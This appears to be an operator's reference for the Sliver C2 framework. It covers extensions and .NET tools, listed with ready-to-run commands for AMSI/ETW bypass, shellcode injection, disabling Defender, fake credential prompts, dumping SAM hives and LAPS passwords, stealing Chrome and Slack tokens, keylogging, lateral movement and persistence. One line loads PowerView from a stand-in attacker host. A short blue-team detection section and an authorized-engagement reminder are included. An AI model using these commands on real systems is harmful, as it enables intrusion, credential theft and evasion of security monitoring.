inject-amsi-bypass InjectAmsiBypass Bypasses AMSI (Antimalware Scan Interface) in a remote process via code injection. Patches amsi.dll's AmsiScanBuffer function to always return AMSI_RESULT_CLEAN, preventing .NET assembly scanning in that process. Different from the PowerShell in-process patch — this targets a remote PID. T1562.001
unhook-bof unhook-bof Removes API hooks from the current implant process (or a target process). Reloads a clean copy of ntdll.dll from disk to overwrite the in-memory hooked version that EDRs install. Frees the implant process from user-mode hook-based monitoring. T1562
patchit BOF-patchit All-in-one BOF to patch, check, and revert AMSI and ETW in an x64 process. Supports both syscall-based and dynamic-resolve variants. check mode reports current patch status, patch applies, revert restores. Covers both AMSI and ETW in a single tool. T1562.001, T1562.006
ldapsigncheck LdapSignCheck Checks whether LDAP signing and channel binding are enforced on the domain controller. Critical pre-check before attempting LDAP relay attacks (a relay only works if signing is not required). T1556
# Unhook ntdll in the current implant process
sliver (SESSION) > unhook-bof

# Patch AMSI and ETW in PID 1234
sliver (SESSION) > patchit patch 1234

# Check ETW bypass status in a remote process
sliver (SESSION) > inject-etw-bypass <pid>

# Check LDAP signing before relay
sliver (SESSION) > ldapsigncheck

Process Injection (windows-inject bundle)

All inject BOFs target a remote process by PID and execute shellcode in it. They use different injection primitives — some are stealthier but less reliable, others are noisier but more compatible. Pick based on EDR context and target architecture.

Command Package What It Does MITRE
hollow hollow EarlyBird process hollowing — spawns a new process in a suspended state, injects shellcode, hijacks the main thread via APC queue, then resumes. Lower EDR scrutiny than CreateRemoteThread at process start because the thread was suspended from birth; the APC fires before any TLS callbacks or security product hooks initialize. T1055.012
secinject secinject Section Mapping Process Injection — creates a shared memory section between the implant and target process, writes shellcode into it, maps it into the target, then creates a remote thread pointing at it. Native API-based (NtCreateSection, NtMapViewOfSection), avoids VirtualAllocEx/WriteProcessMemory — the two most-watched allocation APIs. x64 only. T1055.003
syscalls_shinject BOFs Shellcode injection via direct syscalls (Syswhispers-style). Uses NtAllocateVirtualMemory + NtWriteVirtualMemory + NtCreateThreadEx via raw syscall stubs — bypasses user-mode hooks on those functions entirely. T1055.001
threadless-inject ThreadlessInject BOF implementation of the ThreadlessInject technique (@EthicalChaos, BSides Cymru 2023). Achieves process injection without creating any new thread — instead hijacks an existing export function in a target DLL by overwriting a function pointer to redirect execution to shellcode when the function is next called naturally. No new thread creation IOC. T1055
inject-createremotethread CS-Remote-OPs-BOF Classic CreateRemoteThread injection — allocates memory in target process, writes shellcode, creates a remote thread. Most compatible but also most detected. Use as a last resort or in lab environments. T1055.003
inject-ntcreatethread CS-Remote-OPs-BOF NT-level NtCreateThread injection — syscall-level equivalent of CreateRemoteThread using the native API. Slightly lower-level and may evade some hooks on the Win32 layer. T1055.003
inject-ntqueueapcthread CS-Remote-OPs-BOF APC (Asynchronous Procedure Call) injection via NtQueueApcThread — queues shellcode for execution in an alertable thread of the target process. Thread must enter an alertable wait state to trigger, making timing unpredictable but the action itself stealthy. T1055.004
inject-setthreadcontext CS-Remote-OPs-BOF Thread hijacking via SetThreadContext — suspends a thread in the target process, modifies its RIP register to point at shellcode, then resumes it. No new thread created. T1055.003
inject-kernelcallbacktable CS-Remote-OPs-BOF Process injection via KernelCallbackTable abuse — overwrites a function pointer in the target process's PEB (KernelCallbackTable field) that Windows calls for certain GUI operations. Shellcode executes when the process handles a specific window message. No CreateRemoteThread, no new thread; triggers via normal GUI message dispatch. T1055
inject-tooltip CS-Remote-OPs-BOF Injection via tooltip callback — plants shellcode to execute through the TOOLTIPS_CLASS window procedure callback mechanism. A variant of the window-callback injection class. T1055
inject-uxsubclassinfo CS-Remote-OPs-BOF Injection via UxSubclassInfo — abuses the WinAPI window subclassing mechanism, which stores a function pointer in a structure associated with a window; overwriting that pointer redirects execution. T1055
inject-dde CS-Remote-OPs-BOF Injection via DDE (Dynamic Data Exchange) callback — abuses the legacy DDE IPC mechanism's callback infrastructure to redirect execution. T1055
inject-conhost CS-Remote-OPs-BOF Injects into conhost.exe (Console Window Host) — targets the process that manages console windows, which is always present in sessions with console activity and typically whitelisted. T1055
inject-svcctrl CS-Remote-OPs-BOF Injects into svchost.exe via the service control manager pathway. Abuses service control handler registration to achieve execution. T1055
inject-ctray CS-Remote-OPs-BOF Injection via the CTray (system tray) callback — plants shellcode in the system tray icon callback structure. T1055
inject-clipboard CS-Remote-OPs-BOF Injects shellcode through clipboard data API callbacks — abuses the clipboard chain notification mechanism. T1055
inline-execute-assembly InlineExecute-Assembly Executes a .NET assembly entirely in-process within the Sliver implant, rather than using Sliver's default execute-assembly which spawns a sacrificial notepad.exe process (fork-and-run). Eliminates the process creation IOC that Defender and most EDRs flag on execute-assembly. Caveat: a crashing .NET assembly will take the implant down with it. T1059.001
# EarlyBird hollowing — spawn notepad, inject shellcode
sliver (SESSION) > hollow C:\Windows\System32\notepad.exe ./shellcode.bin

# Section mapping injection
sliver (SESSION) > secinject <pid> ./shellcode.bin

# Syscall-based shellcode inject (bypasses user-mode hooks)
sliver (SESSION) > syscalls_shinject <pid> ./shellcode.bin

# Threadless injection (no new thread created)
sliver (SESSION) > threadless-inject <pid> <dll-path> <export-function>

# In-process .NET assembly execution (no fork-and-run)
sliver (SESSION) > inline-execute-assembly /path/to/Rubeus.exe "kerberoast /format:hashcat"

Remote Operations (CS-Remote-OPs-BOF — remote-* and inject-*)

TrustedSec's Remote Operations BOF collection. Operates on remote hosts over SMB/RPC without requiring interactive access — these are lateral movement and remote admin primitives.

Command What It Does
remote-adcs-request Requests an AD Certificate Services certificate on behalf of a target account via DCOM/RPC. Used for certificate-based auth abuse (ESC attacks).
remote-adcs_request_on_behalf Requests an ADCS certificate on behalf of another user (on-behalf-of enrollment). Useful for ESC3 / enrollment agent abuse.
remote-adduser Creates a new user account on a remote host via NetUserAdd. No net.exe invocation.
remote-addusertogroup Adds a user to a local group on a remote host (e.g., Administrators) via NetLocalGroupAddMembers.
remote-chrome-key Retrieves the Chrome AppBound encryption key from a remote host. Used for credential theft from Chrome without touching the remote host's filesystem directly.
remote-enable-user Enables a disabled user account on a remote host.
remote-unexpireuser Un-expires a user account (sets the account's expiration date to "never").
remote-setuserpass Changes a user's password on a remote host via NetUserSetInfo. No SAMR tooling spawned.
remote-lastpass Queries the last password change timestamp for a user on a remote host.
remote-process-destroy Terminates a process on a remote host via OpenProcess + TerminateProcess over the network.
remote-process-list-handles Lists open handles in a remote process. Useful for finding processes with open LSASS handles for handlekatz-style attacks.
remote-procdump Creates a memory dump (minidump) of a process on a remote host. Equivalent to nanodump but targeting a remote system.
remote-suspendresume Suspends or resumes a process on a remote host — can freeze AV/EDR processes momentarily.
remote-reg-delete Deletes a registry key or value on a remote host.
remote-reg-save Saves a registry hive (SAM, SYSTEM, SECURITY) to a file on a remote host — classic credential theft prep.
remote-reg-set Creates or modifies a registry value on a remote host.
remote-sc-config Modifies a service's configuration on a remote host.
remote-sc-create Creates a new Windows service on a remote host. Lateral movement primitive.
remote-sc-delete Deletes a service on a remote host.
remote-sc-description Sets a service's description text. Used to make a created service blend in.
remote-sc-start Starts a service on a remote host.
remote-sc-stop Stops a service on a remote host.
remote-sc_failure Sets failure actions for a service (e.g., restart on failure — persistence).
remote-schtasks-delete Deletes a scheduled task on a remote host.
remote-schtasks-stop Stops a running scheduled task on a remote host.
remote-schtaskscreate Creates a scheduled task on a remote host. Persistence / lateral movement.
remote-schtasksrun Runs an existing scheduled task immediately on a remote host.
remote-shspawnas Spawns a shell as a specified user on a remote host.
remote-get_priv Enables specific privileges (SeDebugPrivilege, etc.) in the current process.
remote-global_unprotect Removes process protection (PPL) from a protected process on a remote host — opens previously unreachable processes for memory operations.
remote-make_token_cert Creates a Windows token using a Kerberos certificate (PKINIT) — token based on cert auth rather than password.
remote-ghost_task Creates a "ghost" scheduled task — creates the task in a way that hides it from schtasks /query output for some detection tools. Persistence with reduced visibility.
remote-office-tokens Harvests Microsoft Office authentication tokens from a remote host. Targets cached tokens used by Office 365 and on-prem Exchange.
remote-slack_cookie Steals the Slack workspace token (d= cookie) from a remote host's Slack client. Used for lateral movement into Slack workspaces.
remote-slackKey Retrieves the Slack encryption key from a remote host.
# Dump SAM/SYSTEM/SECURITY hives on a remote host
sliver (SESSION) > remote-reg-save SAM DC01.corp.local C:\Windows\Temp\SAM

# Create a service on a remote host for lateral movement
sliver (SESSION) > remote-sc-create DC01.corp.local UpdateSvc C:\Windows\Temp\implant.exe

# Add current user to Administrators on a remote host
sliver (SESSION) > remote-addusertogroup DC01.corp.local Administrators corp\redteam

# Change a user's password remotely
sliver (SESSION) > remote-setuserpass DC01.corp.local victim NewPass123!

# Create a scheduled task on remote host for persistence
sliver (SESSION) > remote-schtaskscreate DC01.corp.local "Windows Update" C:\Windows\Temp\implant.exe

C2 Tool Collection BOFs (c2tc-*)

From Outflank's C2-Tool-Collection — a set of BOFs covering credential access, reconnaissance, and AD attack primitives.

Command What It Does MITRE
c2tc-askcreds Displays a fake Windows credential prompt to the logged-in user and captures whatever they type. Social engineering credential capture in-process. T1056.002
c2tc-kerberoast Alternative Kerberoasting implementation — queries AD for SPN accounts and requests their TGS tickets for offline cracking. Outputs in Hashcat format. T1558.003
c2tc-kerbhash Captures the NTLM hash of a Kerberos authentication via a challenge/response exchange — wraps a targeted credential capture technique. T1003
c2tc-lapsdump Reads LAPS (Local Administrator Password Solution) managed passwords from AD for computers the current user has permission to read. Requires AD read permission on the LAPS attribute (ms-Mcs-AdmPwd). T1555
c2tc-petitpotam Triggers LSARPC-based NTLM authentication coercion (PetitPotam) — forces a target host to authenticate to a specified attacker-controlled host. Used for NTLM relay setup. T1187
c2tc-addmachineaccount Adds a new machine account to the domain (uses the MachineAccountQuota default that allows normal users to add up to 10). Used as the starting step for RBCD attacks, shadow credentials, and other machine-account-based attacks. T1136.002
c2tc-domaininfo Retrieves domain information — domain name, DC name, domain SID, functional level, etc. Quick domain recon. T1016
c2tc-psw Lists all open windows on the current system with window title, class, and PID. T1057
c2tc-psc Lists running processes with command-line arguments (like ps -e). Equivalent to wmic process get CommandLine. T1057
c2tc-psm Lists running processes with their loaded modules. T1057
c2tc-psk Lists running processes with their kernel handles. T1057
c2tc-psx Lists running processes with extended session and privilege information. T1057
c2tc-spray-ad AD password spraying via Kerberos pre-authentication — tests a password against all domain users (or a list) without triggering LDAP authentication logs for most failed attempts. T1110.003
c2tc-startwebclient Starts the WebClient service (WebDAV client) on the target machine if it's not running. Required for Responder/NTLM relay attacks involving WebDAV coercion paths (used with PetitPotam/PrinterBug when HTTP coercion is needed). T1569
c2tc-wdtoggle Attempts to disable Windows Defender real-time protection via WMI. Requires elevated privileges. T1562.001
c2tc-klist Lists Kerberos tickets in the current session (BOF equivalent of klist). T1558
c2tc-winver Returns Windows version information — build number, edition, patch level. T1082
c2tc-smbinfo Queries SMB dialect version and signing configuration on a remote host — pre-check for SMB relay feasibility. T1046
# Fake credential prompt
sliver (SESSION) > c2tc-askcreds "Windows Security" "Your session has expired. Please re-enter your credentials."

# Dump LAPS passwords (requires read access to ms-Mcs-AdmPwd)
sliver (SESSION) > c2tc-lapsdump

# PetitPotam coercion — force DC to auth to attacker
sliver (SESSION) > c2tc-petitpotam DC01.corp.local attacker.corp.local

# Add machine account (for RBCD attack setup)
sliver (SESSION) > c2tc-addmachineaccount FakePC$ Password123!

# Start WebClient for WebDAV coercion
sliver (SESSION) > c2tc-startwebclient

# Kerberoast all SPNs
sliver (SESSION) > c2tc-kerberoast

# Check Defender status before toggling
sliver (SESSION) > c2tc-wdtoggle

Lateral Movement / Pivot BOFs (windows-pivot bundle)

Command Package What It Does MITRE
jump-psexec BOFs PsExec-style lateral movement — copies an executable to a remote host's ADMIN$ share and creates/starts a service to execute it. Spawns a SYSTEM-level session on the target. T1569.002
jump-wmiexec BOFs WMI-based lateral movement — uses WMI Win32_Process.Create to execute a command on a remote host. Does not use SMB or services; leaves a different artifact profile. T1047
scshell SCShell Lateral movement via ChangeServiceConfigA — reconfigures an existing service's binary path to execute the payload, then starts it. Avoids creating a new service (which triggers more detections). After execution, restores the original service config. T1543.003
bof-servicemove ServiceMove-BOF Lateral movement by abusing the Windows Perception Simulation Service (PerceptionSimulation / perceptionsimulation). DLL hijacking technique — places a malicious DLL where the service will load it, then triggers service restart. Leaves minimal SMB artifacts. T1574.001
winrm winrmdll-sliver WinRM-based lateral movement — establishes a WinRM connection to a remote host and executes commands. Useful in environments where WinRM is enabled but SMB-based movement is restricted or heavily monitored. T1021.006
portbender Sliver-PortBender TCP port redirection utility — redirects incoming traffic from one port to another within the implant process, without cross-process injection. Primary use case: redirect port 445 to 8445 (or similar) so that NTLM relay tooling running on the operator machine can receive relay targets through the implant. Multiple redirection rules supported simultaneously. T1090
# PsExec lateral movement
sliver (SESSION) > jump-psexec DC01.corp.local /path/to/payload.exe

# WMI lateral movement
sliver (SESSION) > jump-wmiexec DC01.corp.local "cmd /c C:\Windows\Temp\payload.exe"

# SCShell lateral movement using existing service
sliver (SESSION) > scshell DC01.corp.local "SensorDataService" C:\Windows\Temp\payload.exe

# PortBender — redirect 445 to 8445 for NTLM relay
sliver (SESSION) > portbender redirect 445 8445
sliver (SESSION) > portbender list
sliver (SESSION) > portbender stop 0

Miscellaneous BOFs

Command Package What It Does MITRE
find-module FindObjects-BOF Searches all running processes for a specific loaded DLL/module by name. Finds processes that have loaded a specific library — useful for targeting processes with loaded credential material or specific security tooling. T1057
find-proc-handle FindObjects-BOF Searches for open handles to a specific object across all processes. Primary use: find processes with open handles to LSASS for handlekatz-style credential access without opening a new LSASS handle. T1057
raw-keylogger SliverKeylogger BOF-based keylogger using the Windows Raw Input API (RegisterRawInputDevices). Captures all keystrokes in the current session without hooking SetWindowsHookEx (which is heavily monitored). Logs to a file or returns over C2. T1056.001
syscalls_shinject BOFs Direct-syscall shellcode injection into a target process. Bypasses ntdll.dll user-mode hooks entirely by computing syscall numbers directly. T1055.001

Aliases — Full Reference (.NET Assemblies)

Aliases are wrappers for .NET assemblies, reflective DLLs, or binaries executed via ExecuteAssembly, SpawnDll, or Sideload. They run in a sacrificial process by default (unlike inline-execute-assembly). All Windows-only unless noted.

Command Alias What It Does Use When
rubeus Rubeus @GhostPack's Kerberos attack toolkit — AS-REP roasting, Kerberoasting, pass-the-ticket, ticket dumping, S4U2self/S4U2proxy, hash brute-forcing, silver ticket forgery, Golden ticket forgery, PKINIT. The Swiss Army knife for Kerberos attacks. Any Kerberos attack; prefer nanorobeus BOF for simple ticket ops where process creation is a concern.
seatbelt Seatbelt GhostPack host-survey tool — 80+ "safety checks" covering: running processes, installed software, autologon credentials, PowerShell logging config, network shares, AppLocker policy, browser history, clipboard content, environment variables, Credential Manager entries, firewall status, scheduled tasks, and much more. First-step host recon post-compromise.
certify Certify GhostPack ADCS enumeration and exploitation tool — finds vulnerable certificate templates (ESC1-ESC8), requests certificates on behalf of other accounts, and outputs base64 PFX for use with Rubeus/PKINITtools. ADCS attacks (ESC1–ESC8). Use sa-adcs-enum BOFs for recon first.
krbrelayup KrbRelayUp Automated Kerberos relay attack — combines RBCD (Resource-Based Constrained Delegation) setup, machine account creation, and S4U2self/S4U2proxy to achieve local privilege escalation to SYSTEM on domain-joined machines where LDAP signing is not enforced. The "universal no-fix local privesc" in default AD environments. Local privesc on domain-joined machines without local admin.
sharp-hound-3 SharpHound 3 BloodHound data collector (legacy v3 ingestor) — collects AD relationship data (sessions, group memberships, ACLs, GPOs, trusts) for BloodHound visualization. Outputs JSON files for import. AD attack path visualization. Match version to your BloodHound server.
sharp-hound-4 SharpHound 4 BloodHound data collector (v4 ingestor, compatible with BloodHound CE). Improved collection speed and new edge types. AD attack path visualization. Prefer over v3 for BloodHound CE.
sharpmapexec SharpMapExec C# tool combining SMB, WMI, and LDAP for enumeration and command execution across multiple hosts. Checks local admin access, executes commands, dumps credentials via DPAPI, and sprays credentials — all from a single .NET binary. Mass lateral movement assessment across many hosts.
sharpsecdump SharpSecDump C# implementation of secretsdump — remotely dumps SAM, LSA secrets, and domain cached credentials (DCC2) from a target host using MS-SRVS (Service Remote Protocol) or SMB. No impacket required; runs in-process. Remote credential dump from multiple hosts without impacket.
nps NoPowerShell PowerShell rebuilt in C# — runs PowerShell-like cmdlets (Get-ADUser, Invoke-WebRequest, Get-Process, etc.) entirely within the .NET runtime without ever spawning powershell.exe. Bypasses ScriptBlock logging, Constrained Language Mode, and AMSI applied to PowerShell processes. Environments where powershell.exe is blocked or heavily monitored.
sharpup SharpUp GhostPack privilege escalation audit tool — checks for AlwaysInstallElevated, weak service permissions, unquoted service paths, modifiable scheduled tasks, DLL hijacking opportunities, and other local privesc vectors. Windows local privesc enumeration.
sharpersist SharPersist Windows persistence toolkit — installs persistence via scheduled tasks, registry run keys, StartUp folder, WMI event subscriptions, service creation, and more. CLI-driven with add/remove/list/check modes. Post-exploitation persistence installation.
sharpchrome SharpChrome Extracts Chrome saved passwords and cookies using DPAPI decryption. Requires access to the user's DPAPI master keys. Based on SharpDPAPI's Chrome support. Browser credential theft from the target user's Chrome profile.
sharpdpapi SharpDPAPI GhostPack DPAPI toolkit — decrypts DPAPI-protected secrets: Chrome credentials, IE credentials, Credential Manager blobs, RDP passwords, scheduled task credentials, and user-mode DPAPI master keys. Supports offline decryption with domain backup key. Any DPAPI credential access scenario.
sharplaps SharpLAPS Reads LAPS (ms-Mcs-AdmPwd) and LAPS v2 (msLAPS-Password) managed local admin passwords from AD. Requires the current user to have read permission on those attributes. LAPS credential theft (complements c2tc-lapsdump BOF).
sharpview SharpView C# port of PowerView — AD enumeration without powershell.exe. Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-DomainTrust, Get-ObjectAcl, Find-InterestingDomainAcl, and the full PowerView cmdlet surface. AD recon without PowerShell. Complements the sa-ldapsearch BOF for more complex queries.
sharpsh sharpsh Downloads and executes a PowerShell script from a URL in-process without dropping it to disk, with optional Base64 encoding for the command. Effectively a remote PowerShell loader that stays off-disk. Loading PowerView, PowerSploit, or any PS1 in-process when nps doesn't cover the needed cmdlets.
sharprdp SharpRDP Executes commands on a remote host via an RDP connection using the mstscax.dll COM interface — no mstsc.exe spawned. Useful for lateral movement through RDP in environments where RDP is open but other protocols are blocked. RDP-based lateral movement without visible RDP sessions.
sharp-wmi Sharp WMI C# WMI interface — runs processes via WMI on remote hosts, performs WMI queries, and supports AMSI bypass flags. Alternative to the jump-wmiexec BOF. WMI lateral movement with more options than the BOF variant.
sharp-smbexec Sharp SMBExec C# conversion of Invoke-SMBExec — lateral movement via SMB using pass-the-hash without needing PsExec. Accepts NTLM hashes directly for authentication. Hash-based lateral movement over SMB.
sharpsccm SharpSCCM SCCM attack toolkit — enumerates SCCM infrastructure, finds NAA (Network Access Account) credentials, deploys applications/scripts to managed machines, and queries SCCM databases for credential and host information. SCCM/MECM attack chains.
sqlrecon SQLRecon C# MS SQL attack toolkit — enumerates SQL Server instances via AD, tests authentication, runs OS commands via xp_cmdshell, reads linked server chains, impersonates SQL users, and extracts credential data from MSSQL. MSSQL attack chains.
mlokit MLOKit MLOps attack toolkit — enumerates and attacks MLflow, Airflow, and other MLOps platforms for credential theft, model poisoning, and pivot via misconfigured ML infrastructure. Environments with exposed MLOps infrastructure.
# Rubeus — Kerberoast all SPNs
sliver (SESSION) > rubeus kerberoast /format:hashcat /nowrap

# Rubeus — AS-REP roast
sliver (SESSION) > rubeus asreproast /format:hashcat /nowrap

# Rubeus — dump all tickets
sliver (SESSION) > rubeus dump /all

# Rubeus — pass-the-ticket
sliver (SESSION) > rubeus ptt /ticket:<base64>

# Seatbelt — full host survey
sliver (SESSION) > seatbelt -group=all

# Seatbelt — specific checks
sliver (SESSION) > seatbelt CredEnum WindowsCredentialFiles

# Certify — find vulnerable templates
sliver (SESSION) > certify find /vulnerable

# Certify — request cert for another user (ESC1)
sliver (SESSION) > certify request /ca:DC01\Corp-CA /template:VulnTemplate /altname:Administrator

# KrbRelayUp — local privesc via RBCD
sliver (SESSION) > krbrelayup full -Domain corp.local -DomainController dc.corp.local

# SharpHound — collect AD data
sliver (SESSION) > sharp-hound-4 -c All --zipfilename bh.zip

# NoPowerShell — run Get-ADUser without powershell.exe
sliver (SESSION) > nps Get-ADUser -Filter * -Properties *

# SharpView — AD recon without PS
sliver (SESSION) > sharpview Get-DomainUser -Identity Administrator
sliver (SESSION) > sharpview Find-InterestingDomainAcl

# sharpsh — load PowerView in-process
sliver (SESSION) > sharpsh -- '-u http://attacker.local/PowerView.ps1 -e -c <base64-cmd>'

# SharpRDP — execute command via RDP
sliver (SESSION) > sharprdp computername=DC01 command="cmd /c whoami" username=admin password=pass

# SharpSCCM — find NAA credentials
sliver (SESSION) > sharpsccm local naa

# SQLRecon — enumerate MSSQL via AD
sliver (SESSION) > sqlrecon /enum /ldap:corp.local

# SQLRecon — enable xp_cmdshell and run command
sliver (SESSION) > sqlrecon /a:mssql /h:sql01.corp.local /m:EnableXp
sliver (SESSION) > sqlrecon /a:mssql /h:sql01.corp.local /m:OsCmd /c:whoami

Bundle Quick Reference

windows-credentials:  nanodump credman chromiumkeydump handlekatz mimikatz go-cookie-monster
kerberos:             bof-roast delegationbof c2tc-kerberoast tgtdelegation kerbrute nanorobeus
windows-pivot:        scshell bof-servicemove winrm jump-wmiexec jump-psexec
windows-bypass:       inject-etw-bypass inject-amsi-bypass unhook-bof patchit
windows-inject:       hollow secinject syscalls_shinject threadless-inject inject-tooltip
                      inject-kernelcallbacktable inject-uxsubclassinfo inject-ntcreatethread
                      inject-ntqueueapcthread inject-setthreadcontext inject-createremotethread
                      inject-dde inject-conhost inject-svcctrl inject-ctray inject-clipboard
situational-awareness: all sa-* BOFs (30+ recon primitives)
.net-recon:           seatbelt sharpview sharpmapexec sharp-hound-3 sharp-hound-4 nps sharpup sharpsh sharpsccm
.net-pivot:           krbrelayup rubeus certify sharpsecdump sharpchrome sharpdpapi sqlrecon sharplaps mlokit

Custom Extensions (Loading Your Own)

You can load extensions not in the official armory by providing a local extension.json manifest:

# Load a local extension from a directory
sliver > extensions load /path/to/my-extension/

# The extension.json manifest structure:
{
  "name": "my-bof",
  "command_name": "my-bof",
  "version": "1.0.0",
  "extension_author": "you",
  "original_author": "original",
  "repo_url": "https://github.com/...",
  "help": "What this BOF does",
  "depends_on": "coff-loader",      # required for BOFs
  "entrypoint": "go",               # BOF entrypoint function name
  "files": [
    { "os": "windows", "arch": "amd64", "path": "my-bof.x64.o" },
    { "os": "windows", "arch": "386",   "path": "my-bof.x86.o" }
  ],
  "arguments": [
    { "name": "pid", "desc": "Target PID", "type": "int", "optional": false }
  ]
}

Supported argument types: int, short, string, wstring (wide string), file (binary data). For BOFs, arguments are packed into a BOFArgsBuffer and passed to the COFF Loader which unpacks them before calling the BOF entrypoint.


Traffic Encoders (v1.6.0+)

As of Sliver v1.6.0, operators can write their own Traffic Encoders — WASM callback functions that encode/decode C2 network traffic between implant and server, on top of (or instead of) Sliver's built-in encoders. This is a meaningfully newer feature than most third-party writeups cover, so it's worth having in your notes explicitly.

  • Written in any language that compiles to WASM; Rust is the officially recommended choice for performance, with a TinyGo example also provided by BishopFox.
  • Both the server and the implant load the same WASM binary, so encode/decode stay consistent across the C2 channel.
  • For performance, C2 messages over 2MB bypass user-defined Traffic Encoders by default and fall back to a native built-in encoder — worth knowing if a custom encoder seems to "not apply" to large transfers.
  • Sliver's built-in (non-WASM) encoders already rotate per-message across a set including hex and modified Base32/58/64 alphabets, plus an "English words" encoder that maps data to a ~1,420-word list; the encoder in use is signaled via a masked ID/nonce in each message so implant and server can select the matching decoder.
# (Conceptual workflow — encoders are compiled to .wasm and dropped into
# the server's traffic-encoders directory, then referenced at generate time)

This is genuinely new ground for a from-scratch C2 build: rotating, pluggable, per-message traffic encoding implemented as sandboxed WASM modules rather than hardcoded transforms is one of the more interesting design choices to study if you're building your own framework and want configurable wire-format obfuscation without recompiling the whole implant.


Evasion & OPSEC

# Vary transport protocols rather than relying on one throughout an engagement
generate --http example.com --os windows        # one implant
generate --dns example.com --os windows          # a different one, different protocol

# Skip Sliver's default binary strings / symbols
generate --mtls 192.168.1.100:8888 --os windows --skip-symbols

# Enable built-in evasion: PPID spoofing, DLL reload from disk to strip hooks, sleep obfuscation
generate --mtls 192.168.1.100:8888 --os windows --evasion

Go binaries carry a large amount of compiler-injected runtime metadata (type info, scheduler internals) that floods naive strings output with noise — this incidentally makes surface-level static string analysis less useful against Sliver implants than against, say, a raw C# payload, but it is not a substitute for proper evasion tradecraft.

Tip: Default Sliver payloads are well-signatured by mainstream EDR/AV at this point. Treat the out-of-the-box generate output as a lab-only baseline — real engagements generally need custom loaders, shellcode encoding, or process injection on top, which is outside the scope of this reference.


Loot, Persistence & Credential Access

# Add a file/credential/screenshot to the loot store
sliver (SESSION) > loot add <name> <path>

# List collected loot
sliver > loot

# Fetch a specific loot entry
sliver > loot fetch <loot-id>
# Install service-based persistence
sliver (SESSION) > persistence service --name UpdaterSvc --path C:\Windows\Temp\implant.exe

# Install registry Run-key persistence
sliver (SESSION) > persistence registry --hive HKCU \
  --path "Software\Microsoft\Windows\CurrentVersion\Run" --key "Updater"

# Hijack a legitimate binary on the target for persistence (Windows)
sliver (SESSION) > backdoor <path-to-target-exe>

# Remove a persistence mechanism you installed
sliver (SESSION) > persistence remove --id <persistence-id>

Reminder: Always track and remove persistence mechanisms and dropped artifacts at the end of an authorized engagement. Sliver's server-side audit logging helps reconstruct exactly what was deployed where for cleanup and reporting.


Known Vulnerabilities in Sliver Itself

Worth knowing as an operator (patch your own infrastructure) and as someone studying C2 design (these are real lessons in what to get right when building your own framework). None of these affect implant-to-target compromise directly — they affect the operator-to-server trust boundary or server availability, which is exactly the kind of thing to design carefully for if you're building a C2 of your own.

  • CVE-2024-41111 — an authenticated operator-to-server remote code execution vulnerability. A logged-in operator could leverage certain server-side functionality to execute arbitrary code on the Sliver server itself, beyond their intended operator privileges. Patched in later 1.5.x releases — run a current release, and treat "authenticated" as a low bar in multiplayer settings where you don't fully trust every operator's box.
  • GO-2026-4280 — a pre-auth memory exhaustion issue via a "NoEncoder" bypass, allowing an unauthenticated actor to exhaust server memory before any authentication occurs.
  • GO-2026-4466 — a DNS C2 OTP bypass allowing unauthenticated session flooding / denial of service against the DNS listener.
  • GO-2026-4609 — an authenticated nil-pointer dereference through server handlers (crash/DoS, not RCE).
  • GO-2026-4723 — an authenticated out-of-memory condition via memory exhaustion in the mTLS/WireGuard transports.
  • GO-2026-4899 — a nil-pointer dereference in the reverse-port-forward (rportfwd) tunnel-close handler, causing a panic when a reverse tunnel close is attempted.

Takeaway for infrastructure hygiene: keep the server on the latest stable release, don't expose listener ports you don't need to the raw internet, and remember that "authenticated operator" and "fully trusted operator" aren't the same threat model in a multiplayer engagement — several of these were exactly that gap.


Detection Notes (Blue Team Awareness)

Worth internalizing even purely offensively, since it shapes infrastructure decisions.

  • JARM/TLS fingerprinting — Sliver's default HTTPS and mTLS listeners have known JARM hashes that have been published and are used to fingerprint exposed Sliver infrastructure from the internet side. This works against unmodified HTTPS/mTLS configs specifically.
  • Default ports — mTLS defaults to TCP 8888, the operator/multiplayer channel to TCP 31337, WireGuard to UDP 51820. Unmodified defaults are an easy IOC; always override them in anything beyond a lab.
  • HTTP(S) traffic patterns — even with procedural generation, default HTTP C2 traffic has recognizable structure: randomized-looking directory paths ending in a small, consistent set of file extensions (.php, .html, .js, .png, .woff), and nonce-style query parameters (e.g. ?k=491904l8) that encode which built-in encoder was used for that message. Aggregating by destination URL over time tends to reveal the repetitive polling pattern typical of beaconing malware, which is often enough to flag Sliver activity even without TLS inspection.
  • DNS C2 volume and encoding — Sliver's DNS transport encodes protobuf messages into subdomain labels using a modified Base58 alphabet (Base32 fallback), producing long, random-looking first labels and a high volume of unique subdomains under one parent domain in short windows — DNS's lack of a persistent connection means Sliver has to chunk and sequence data across many individual queries, which is itself a volume signature.
  • Behavioral indicators beyond the network layer — Sliver's shell functionality frequently spawns PowerShell with a distinctive invocation pattern (-NoExit plus an explicit [Text.UTF8Encoding]::UTF8 output-encoding tweak), and token-impersonation features map cleanly to MITRE ATT&CK T1134.001 (Access Token Manipulation: Token Impersonation) — both are far more durable detections than anything network-layer, since operators can trivially change ports and certs but changing implant behavior means recompiling.
  • DNS canaries cut both ways — they're useful defensive tripwires for you as the operator, but the underlying technique (unique domains embedded in binary strings) is also something defenders watch for as a Sliver indicator once they know to look.
  • Behavioral over static — because Go binaries drown static string analysis in compiler noise, mature detection engineering for Sliver tends to focus on network-layer beaconing patterns and process-behavior heuristics (like the above) rather than static signatures.

None of this is a reason to skip redirectors, custom certs, or non-default ports — it's the reason those measures matter.


Common Attack Workflows

Workflow: Initial Foothold → Interactive Session

# 1. Stand up a listener
sliver > mtls -l 8888

# 2. Generate a beacon (quiet initial foothold)
sliver > generate beacon --mtls 203.0.113.10:8888 --os windows --arch amd64 \
  --seconds 60 --jitter 30 --save foothold.exe

# 3. Deliver + execute on target (delivery method is engagement-specific)

# 4. Once it checks in, task it to go interactive for hands-on-keyboard work
sliver (BEACON_NAME) > interactive
# (takes effect on the beacon's next check-in, not instantly)

Workflow: Reaching a Segmented Subnet via Pivot Chain

# 1. From a session that HAS internet egress, open a pivot listener
sliver (HOP1) > pivots tcp --bind 0.0.0.0:9999

# 2. Generate a new implant pointed at the pivot listener's INTERNAL address
sliver > generate --tcp-pivot 192.168.1.90:9999 --os windows --arch amd64 --save pivot2.exe

# 3. Deliver pivot2.exe to a host in the segmented subnet and execute it
#    It phones home through HOP1 rather than directly to the internet

# 4. Confirm the chain
sliver > sessions
# transport column shows: pivot   192.168.1.178:59290->HOP1_NAME->

Workflow: Internal Network Access via SOCKS5

# 1. Start SOCKS5 on a compromised session
sliver (SESSION) > socks5 start --host 127.0.0.1 --port 1080

